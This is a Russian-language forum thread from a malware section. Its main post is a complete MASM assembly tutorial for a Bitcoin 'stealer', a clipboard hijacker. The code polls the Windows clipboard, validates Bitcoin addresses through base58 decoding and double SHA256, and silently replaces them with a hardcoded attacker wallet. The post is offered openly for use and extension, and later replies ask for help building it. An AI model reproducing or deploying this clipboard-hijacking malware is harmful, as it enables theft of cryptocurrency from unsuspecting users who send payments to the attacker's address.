Идея Пишем стилер биткоинов

Тема в разделе "Вирусология", создана пользователем burjuy, 7 окт 2016.

  1. burjuy

    burjuy

    Сообщения:
    17
    Баллы:
    1
    Интересный метод. Не факт, что он еще рабочий и неизвестно как дела обстоят со всеми кастомными кошельками.
  2. waydam

    waydam

    Сообщения:
    464
    Баллы:
    16
    Данная статья просто для ознакомления, чтобы узнать как вообще устроены стилеры. Дальше при желании можно дописать стилер под себя.
  3. /.e7z

    /.e7z

    Сообщения:
    144
    Баллы:
    16
    Попросил бы подправить авторство. Автор один: Kaimi,
    Скрытый контент для пользователей waydam.​
  4. waydam

    waydam

    Сообщения:
    464
    Баллы:
    16
    Пишем стилер биткоинов

    http://www.freemansperspective.com/wp-content/uploads/2013/06/btc-bitcoin.jpg

    Давным-давно для WebMoney (и не только) был популярен крайне простой способ получить чужие финансы: подменить содержимое буфера обмена Windows, если в нём находится номер кошелька на свой номер. С введением множества степеней защит данный метод перестали использовать, да и эффективность была под вопросом, не говоря уже о необходимости заставить пользователя запустить стороннее ПО, которое будет осуществлять подмену.

    Случай с Bitcoin отличается: подтверждения, по сути, отсутствуют, номера кошельков ещё более длинные, на конкретного пользователя не пожалуешься...
    В общем, давайте реализуем простой софт, который будет анализировать содержимое буфера обмена и подменять его, если обнаружит там корректный адрес Bitcoin кошелька. Писать будем на MASM, чтобы было веселее.

    Для начала необходимо понять, как проверять адрес кошелька на правильность. В этом нам помогут многочисленные веб-сайты, описывающие процесс создания Bitcoin-адреса, а также пример проверки, пусть даже и на PHP. С логикой проверки разобрались. Приступим к написанию реализации.

    Код:
    .386
    .model flat, stdcall
    option casemap :none

    include \masm32\include\windows.inc
    include \masm32\macros\macros.asm
    include \masm32\macros\windows.asm

    uselib kernel32, user32, advapi32, masm32

    .const
    ; Диапазон допустимой длины адреса кошелька
    wallet_len_min equ 27
    wallet_len_max equ 34

    ; Код версии адреса
    address_version equ 00h

    ; Набор символов, используемых в адресе
    ; Кроме: 0 O I l
    wallet_symbols db "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz", 0

    ; Адрес, на который будет заменяться значение в буфере
    wallet_replace db "14GzzUaiNuDZYxhW8xd9emTJDtCjXKJkNT", 0

    .data?
    prov dd ?

    Мы объявили некоторые вспомогательные константы, которые нам в дальнейшем понадобятся для проверки адрес на корректность. Из ссылок выше понятно, что нам придется делать функцию декодирования для base58 и где-то брать реализацию SHA256. base58 реализуем самостоятельно, а SHA256... в общем воспользуемся Microsoft CryptoAPI. Продолжим.

    Код:
    .code
    ; Вспомогательные функции
    ; Небольшая функция для логирования отладочной информации
    log_message proc msg:dword
    local buffer[256]:byte

    invoke GetLastError
    invoke wsprintf, addr buffer, chr$("%s [%08X]"), msg, eax

    invoke OutputDebugString, addr buffer

    ret
    log_message endp

    base58_decode proc uses ebx esi edi, in_buffer:dword, out_buffer:dword

    ; Будем опираться на констаны, свойственные для проверки кошелька
    ; Размер выходного буфера не менее 25 байт (расширенный RIPEMD-160 + 4 байта контрольной суммы)]
    ; Декодирование исключительно под адрес кошелька,
    ; для абстрактной строки в base58 функцию необходимо править

    ; Заполняем содержимое буфера нулями
    xor eax, eax
    mov ecx, 25
    mov edi, out_buffer
    rep stosb


    mov esi, in_buffer
    mov edi, out_buffer
    m1:
    ; Нулл-байт во входном буфере - конец декодирования
    movzx eax, byte ptr[esi]
    test eax, eax
    je m5

    ; Сохраним регистр на время сканирования символа в eax
    push esi

    ; Символ должен быть из набора wallet_symbols
    mov esi, offset wallet_symbols
    m2:
    movzx ebx, byte ptr[esi]
    ; Если байты совпадают, то символ входит в набор допустимых
    cmp eax, ebx
    jz m3

    ; Если мы дошли до конца набора допустимых символов (нулл-байт)
    ; и все ещё не вышли из цикла, значит, символ не из набора
    test ebx, ebx
    je err0

    ; Продолжаем проверку
    inc esi
    jmp m2
    m3:
    ; Поместим в eax позицию найденого в наборе символа
    mov eax, esi
    mov esi, offset wallet_symbols

    sub eax, esi

    ; Вложенный цикл с конца выходного буфера
    mov ebx, 25 - 1
    m4:
    ; N-й элемент буфера (с конца) умножим на 58
    ; и прибавим к позиции упомянутой выше
    movzx ecx, byte ptr[edi + ebx]

    imul ecx, 58
    add eax, ecx

    ; Сохраним в выходной буфер результат деления с остатком
    push ebx

    cdq
    mov ebx, 256
    div ebx

    pop ebx

    mov byte ptr[edi + ebx], dl

    ; Поделим позицию элемента на 256
    push ebx

    cdq
    mov ebx, 256
    div ebx

    mov eax, edx

    pop ebx

    ; Конец тела вложенного цикла
    dec ebx
    test ebx, ebx
    jne m4


    pop esi

    ; Если в eax что-то отличное от нулл-байта,
    ; значит, адрес кошелька имеет некорректный размер
    test eax, eax
    jne err1

    inc esi
    jmp m1
    m5:

    mov eax, 1
    ret

    err0:
    pop esi
    invoke log_message, chr$("invalid symbol")

    mov eax, 0
    ret
    err1:
    invoke log_message, chr$("invalid address length")

    mov eax, 0
    ret
    base58_decode endp

    Теперь у нас есть функция декодирования и небольшая функция логирования. Для лучшего понимания алгоритма base58 стоит обратиться к Google, так как псевдокод или реализация на языке высокого уровня обычно проще для понимания. Перейдем к простой обертке над CryptoAPI, которая будет осуществлять вычисление необходимого хэша.

    Код:
    ; Инициализация нужного криптопровайдера
    sha256init proc
    invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, 0
    .if eax == 0
    invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, CRYPT_NEWKEYSET
    .endif

    ret
    sha256init endp


    sha256fini proc
    invoke CryptReleaseContext, prov, 0

    ret
    sha256fini endp

    ; Хэширование SHA256
    sha256 proc in_buffer:dword, in_buffer_length:dword, out_buffer:dword, out_buffer_length:dword
    local hash:dword
    local aux:dword

    ; CALG_SHA_256 - 0x0000800c
    invoke CryptCreateHash, prov, 0000800Ch, 0, 0, addr hash
    .if eax == 0
    invoke log_message, chr$("CryptCreateHash")
    jmp err
    .endif

    invoke CryptHashData, hash, in_buffer, in_buffer_length, 0
    .if eax == 0
    invoke log_message, chr$("CryptHashData")
    jmp err
    .endif

    mov aux, sizeof dword

    invoke CryptGetHashParam, hash, HP_HASHSIZE, addr out_buffer_length, addr aux, 0
    .if eax == 0
    invoke log_message, chr$("CryptGetHashParam - HP_HASHSIZE")
    jmp err
    .endif

    invoke CryptGetHashParam, hash, HP_HASHVAL, out_buffer, addr out_buffer_length, 0
    .if eax == 0
    invoke log_message, chr$("CryptGetHashParam - HP_HASHVAL")
    jmp err
    .endif

    err:
    .if hash != 0
    invoke CryptDestroyHash, hash
    .endif

    ret
    sha256 endp
    У нас есть всё, что нужно для счастья. Остается основная логика и немного работы с буфером обмена, но для этого мы воспользуемся готовыми функциями из библиотеки MASM.

    Код:
    ; Функция проверки адреса
    validate_wallet proc uses esi edi, buffer:dword
    local decoded[32]:byte
    local digest1[32]:byte
    local digest2[32]:byte

    invoke lstrlen, buffer
    .if eax < wallet_len_min || eax > wallet_len_max
    invoke log_message, chr$("wallet length error")
    jmp err
    .endif

    ; Декодируем адрес из base58
    invoke base58_decode, buffer, addr decoded
    .if eax == 0
    invoke log_message, chr$("base58_decode error")
    jmp err
    .endif

    ; Проверяем версию
    lea eax, decoded
    mov al, byte ptr[eax]
    .if al != address_version
    invoke log_message, chr$("address version error")
    jmp err
    .endif

    invoke sha256, addr decoded, 21, addr digest1, sizeof digest1
    invoke sha256, addr digest1, sizeof digest1, addr digest2, sizeof digest2

    ; Сравним декодированную и посчитанную контрольные суммы
    lea esi, decoded
    add esi, 21
    lea edi, digest2

    mov ecx, 4
    repz cmpsb
    jnz err

    mov eax, 1
    ret
    err:
    mov eax, 0
    ret
    validate_wallet endp

    start proc
    local clipboard_data:dword


    invoke sha256init
    .if eax == 0
    invoke log_message, chr$("sha256init")
    jmp err
    .endif

    .while TRUE
    invoke GetClipboardText

    .if eax != 0
    mov clipboard_data, eax

    ; Проверим содержимое буфера обмена и заменим,
    ; если это адрес Bitcoin кошелька
    invoke validate_wallet, clipboard_data
    .if eax != 0
    invoke log_message, chr$("valid wallet detected")
    invoke SetClipboardTextEx, offset wallet_replace
    .endif

    invoke GlobalFree, clipboard_data
    .endif

    invoke Sleep, 500
    .endw

    err:
    invoke sha256fini

    invoke ExitProcess, 0
    ret
    start endp

    end start
    Вот собственно и всё. Обращу внимание на один момент: функция SetClipboardTextEx не относится к библиотеке masmlib. Что она из себя представляет? Это функция SetClipboardText из masmlib, но после вызова

    Код:
    invoke OpenClipboard,NULL ; open clipboard
    я добавил ещё

    Код:
    invoke EmptyClipboard ; clear clipboard
    Без этого функция упорно не хотела изменять содержимое буфера обмена, по крайней мере на Windows 7. Не знаю, с чем это связано, не разбирался.
    Теперь всё готово. Компилируем и проверяем, также можно параллельно открыть DebugView и смотреть, какие отладочные сообщения выводит программа.

    Опытным путём несложно убедиться, что при копировании корректного адреса через буфер обмена он заменяется на наш.


    Авторы статьи:
    (с) kaimi
  5. bugagaxz

    bugagaxz

    Сообщения:
    6
    Баллы:
    1
  6. tornode

    tornode

    Сообщения:
    2
    Баллы:
    1
    Установил masm32 и в macros нет windows.asm , подскажите этот файл должен быть при установке masm32 или вы его где-то отдельно взяли?

Поделиться этой страницей

Top